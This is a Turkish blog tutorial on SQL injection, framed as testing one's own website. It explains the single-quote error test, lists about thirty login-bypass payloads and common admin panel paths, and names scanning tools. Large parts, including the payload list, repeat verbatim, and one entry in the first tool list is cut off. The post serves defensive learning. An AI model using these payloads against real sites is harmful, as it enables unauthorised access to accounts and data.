SQL Injection saldırısı veya Veri tabanı açığı saldırısı olarak ta bilinen ve halen birçok site için geçerli olan yöntemin güvenlik amaçlı kendi siteniz üzerinde nasıl deneyeceğinizi anlatacağım. SQL Injection yönteminden kaynaklanan güvenlik açığı birinci derece önemli bir açık seviyesi olup sitenizdeki birçok önemli bilgi bu sayede ele geçirilebilir. Genelde Windows sunucularında daha çok görülen ve Microsoft web uygulamalarının (ASP, ASP.NET) veritabanlarında karşılaşılan bir saldırı çeşididir. Microsoft Access ve MsSQL veri tabanı kullanan sistemlerde bu güvenlik açığına çokça rastlanmaktadır. Bunun dışında MySQL, Oracle, PostgreSQL veri tabanı kullanan sitelerde de bu hata bulunabilir. Genelde yazılımsal hatadan kaynaklanan bir zafiyettir.
Özellikle PHP tabanlı MySQL, MariaDB ve benzeri veri tabanı kullanan siteler içinde geçerlidir olurken bu saldırı tipi son zamanlarda özellikle CMS (WordPress gibi) üzerinde yapılan yoğun çalışmalar ile SQL Injection saldırıları minimuma indirilmiştir.
Özellikle WordPress gibi gelişmiş bir CMS kullanıyorsanız bu yazılımda Zero-Day dediğimiz kritik güvenlik açığı bulmak hem zor hem de güncellemesi açık bulunduktan birkaç saat içinde yayınlanıyor. PHP tabanlı sitelerde ek olarak kullanıcının şifre bilgisi MD5 olarak kriptolandığı içinde bu saldırı çeşidi PHP sitelerde yapıldığı zaman ele geçirilen şifre bilgisi kriptolu olduğu için yönetim arayüzüne ulaşmak daha zordur.
SQL Injection Nedir?
Web uygulamalarında birçok işlem için kullanıcıdan alınan veri ile dinamik SQL cümlecikleri oluşturulur. Mesela "SELECT * FROM Urunler" örnek SQL cümleciği basit şekilde veri tabanından web uygulamasına tüm ürün bilgilerini getirecektir. Bu SQL cümlecikleri oluşturulurken araya sıkıştırılan herhangi bir meta-karakter SQL Injection'a sebep olabilir. SQL için kritik meta karakter (') tek tırnaktır. Çünkü iki tek tırnağın arası string olarak algılanır. Diğer bir önemli meta-karakter ise (;) noktalı virgüldür, satırın bittiğini ve yeni satır başladığını bildirir.
Manuel olarak ise tek tırnak meta karakterini tarayıcı (Browser) üzerinde şu şekilde deneyebiliriz;
domain.com/urunler.aspx?id=20 bu isteğin sonuna (') tek tırnak konur. urunler.aspx?id=20' daha sonra site tarafından bir SQL hatası alınırsa SQL Injection yapılabileceğini göstermektedir zafiyet.
Login Bypass Testi (SQL Injection Codes)
SQL Injection saldırısının en basit ve kendi sitenizde de deneyebileceğiniz yöntem Login Bypass işlemidir. Kullanıcı adı ve şifre alanlarına giriş kısmını Bypass edici meta kodlarını yazarak panele giriş yapabilmeyi göstereceğim. Bu saldırıyı deneme yanılma yolu ile yapabilirsiniz aşağıdaki kodları kullanarak. Bu sayede sitenizdeki güvenlik zafiyetini kontrol etmiş olursunuz.
''Or'='Or''
' or 1=1)#
anything' OR 'x'='x
1'or'1'='1
' or 1=1 or ''='
" or 1=1 or ""="
' OR ''='
'' OR ''=''
'OR''='
hey' or 1=1–
''Or 1 = 1'
' or 1=1--
or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
hi") or ("a"="a
'hi' or 'x'='x';
x' or 1=1 or 'x'='y
\x27\x4F\x52 SELECT *
\x27\x6F\x72 SELECT *
'or select *
admin'--
")) or (("x"))=(("x
" or ""+"
admin"or 1=1 or ""="
admin") or ("1"="1"--
Birçok sitenin yönetim paneli giriş sayfası standarttır. Bunları çoğu aşağıda vereceğim dizin veya dosya uzantısı şeklinde inceleyebilirsiniz. Bunlardan kaçının ve yönetim paneline giriş dosya isminizi mutlaka bilinmeyecek şekilde değiştirin.
Örnek olarak bir sitenin yönetim paneli: domain.com/admin/login.asp olsun. Eğer dosya veya dizin isimlerini değiştirme gibi bir şansınız yoksa. Yönetim dizini yani örnekteki gibi admin klasörüne cPanel, Plesk, MaestroPanel gibi Web yönetim panelinde bu dizinlere ön şifreleme koymanızı öneririm. Bu paneller dışında özellikle Linux Hosting alt yapısı kullanan siteler Htaccess dosyası ile de ön şifreleme paneli oluşturabilir.
Bunu yapmamızın sebebi Hacker tarafından veritabanı yönetim bilgileri çekilse bile yönetim panelinden giriş yapamayacak olmasıdır. Tabi diğer bilgilerin çekilmemesi için sitedeki SQL açığını kapatmak zorundasınız.
/admin
/admin/login.asp
/yonetim
/yonetim/giris.php
/panel
/kontrolpanel
/administrator
/giris
/login
/superadmin
/controlpanel
/yonetici
/sitepanel
Bilgi Güvenliği için Test Araçları
Bilgi güvenliğiniz için SQL Injection açıklarını kendi sitenizde aşağıdaki araçları kullanarak arayabilir ve test edebilirsiniz. Bu sayede hangi sayfada yazılımsal açık var onu bularak müdahale edebilirsiniz. Aynı zamanda aşağıdaki araçlar ile sadece SQL değil Web siteniz üzerindeki diğer zafiyetleri taramak içinde kullanabilirsiniz.
1) Acunetix Web Vulnerability Scanner
Acunetix Web Vulnerability programı bir web sitesinin güvenlik açıklarını tarayabileceğiniz güzel bir uygulamadır. 14 günlük deneme versiyonu ile sitenizdeki hem SQL açıklarını hem de diğer zafiyetleri tarayarak görebilirsiniz.
2) Havij (Advanced SQL Injection)
SQL açığı bulduğunuz veya şüphelendiğiniz sayfayı detaylı olarak incelemek için kullanabileceğiniz bir yazılımdır. ITSecTeam firması tarafından geliştirilmiştir ve Windows'da kullanabileceğiniz bir araçtır. Bulduğunuz SQL zafiyet üzerinden sitenin Tablo ve Sütunlarını öğrenmenizi sağlar. Penetration Test aracı olarak da bilinmektedir. Hem iyi niyet hem de kötü niyetli olarak bu program kullanılabilir.
3) jSQL Injection
4) SQLMap: Python dilinde yazılmış SQL hatalarını bulmaya yarayan bir güvenlik yazılımıdır. Yazılımı bir Linux dağıtımı üzerinde kullanmanızı öneririm çünkü işlemleri Terminal üzerinde yapıyorsunuz. Tabi isteyenler Windows'a Python yükleterek de çalışabilir. Manüel olarak çalışacağınız için Basic SQL kod bilgisine ihtiyacınız vardır. Havij gibi kullanımı basit değildir.
5) HackerTarget.com: Online güvenlik zafiyetlerini taramak için yapılmış güzel bir çalışma. Tüm testleri sitenin arayüzünden yapıyorsunuz. Nmap Port Scanner, SQL Injection Scan, WordPress Scanner gibi hizmetleri var.
anything' OR 'x'='x
1'or'1'='1
' or 1=1 or ''='
" or 1=1 or ""="
' OR ''='
'' OR ''=''
'OR''='
hey' or 1=1–
''Or 1 = 1'
' or 1=1--
or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
hi") or ("a"="a
'hi' or 'x'='x';
x' or 1=1 or 'x'='y
\x27\x4F\x52 SELECT *
\x27\x6F\x72 SELECT *
'or select *
admin'--
")) or (("x"))=(("x
" or ""+"
admin"or 1=1 or ""="
admin") or ("1"="1"--
Birçok sitenin yönetim paneli giriş sayfası standarttır. Bunları çoğu aşağıda vereceğim dizin veya dosya uzantısı şeklinde inceleyebilirsiniz. Bunlardan kaçının ve yönetim paneline giriş dosya isminizi mutlaka bilinmeyecek şekilde değiştirin.
Örnek olarak bir sitenin yönetim paneli: domain.com/admin/login.asp olsun. Eğer dosya veya dizin isimlerini değiştirme gibi bir şansınız yoksa. Yönetim dizini yani örnekteki gibi admin klasörüne cPanel, Plesk, MaestroPanel gibi Web yönetim panelinde bu dizinlere ön şifreleme koymanızı öneririm. Bu paneller dışında özellikle Linux Hosting alt yapısı kullanan siteler Htaccess dosyası ile de ön şifreleme paneli oluşturabilir.
Bunu yapmamızın sebebi Hacker tarafından veritabanı yönetim bilgileri çekilse bile yönetim panelinden giriş yapamayacak olmasıdır. Tabi diğer bilgilerin çekilmemesi için sitedeki SQL açığını kapatmak zorundasınız.
/admin
/admin/login.asp
/yonetim
/yonetim/giris.php
/panel
/kontrolpanel
/administrator
/giris
/login
/superadmin
/controlpanel
/yonetici
/sitepanel
Bilgi Güvenliği için Test Araçları
Bilgi güvenliğiniz için SQL Injection açıklarını kendi sitenizde aşağıdaki araçları kullanarak arayabilir ve test edebilirsiniz. Bu sayede hangi sayfada yazılımsal açık var onu bularak müdahale edebilirsiniz. Aynı zamanda aşağıdaki araçlar ile sadece SQL değil Web siteniz üzerindeki diğer zafiyetleri taramak içinde kullanabilirsiniz.
1) Acunetix Web Vulnerability Scanner
Acunetix Web Vulnerability programı bir web sitesinin güvenlik açıklarını tarayabileceğiniz güzel bir uygulamadır. 14 günlük deneme versiyonu ile sitenizdeki hem SQL açıklarını hem de diğer zafiyetleri tarayarak görebilirsiniz.
2) Havij (Advanced SQL Injection)
SQL açığı bulduğunuz veya şüphelendiğiniz sayfayı detaylı olarak incelemek için kullanabileceğiniz bir yazılımdır. ITSecTeam firması tarafından geliştirilmiştir ve Windows'da kullanabileceğiniz bir araçtır. Bulduğunuz SQL zafiyet üzerinden sitenin Tablo ve Sütunlarını öğrenmenizi sağlar. Penetration Test aracı olarak da bilinmektedir. Hem iyi niyet hem de kötü niyetli olarak bu program kullanılabilir.
3) jSQL Injection
Java ile yazılmış Havij benzeri SQL Injection zafiyetlerini bulmak için yapılmış güvenlik testi yazılımıdır. Uygulamayı çalıştırmak için bilgisayarda JAVA ve Java Geliştirme Paketi (JDK) kurulu olması gerekir. Github üzerinden uygulamayı indirebilirsiniz.
4) SQLMap: Python dilinde yazılmış SQL hatalarını bulmaya yarayan bir güvenlik yazılımıdır. Yazılımı bir Linux dağıtımı üzerinde kullanmanızı öneririm çünkü işlemleri Terminal üzerinde yapıyorsunuz. Tabi isteyenler Windows'a Python yükleterek de çalışabilir. Manüel olarak çalışacağınız için Basic SQL kod bilgisine ihtiyacınız vardır. Havij gibi kullanımı basit değildir.
5) HackerTarget.com: Online güvenlik zafiyetlerini taramak için yapılmış güzel bir çalışma. Tüm testleri sitenin arayüzünden yapıyorsunuz. Nmap Port Scanner, SQL Injection Scan, WordPress Scanner gibi hizmetleri var.
Burak AVCI - Update: 10.12.2021
Hiç yorum yok:
Yorum Gönder
Makaleye Yorum ve Sorularınızı Bırakabilirsiniz.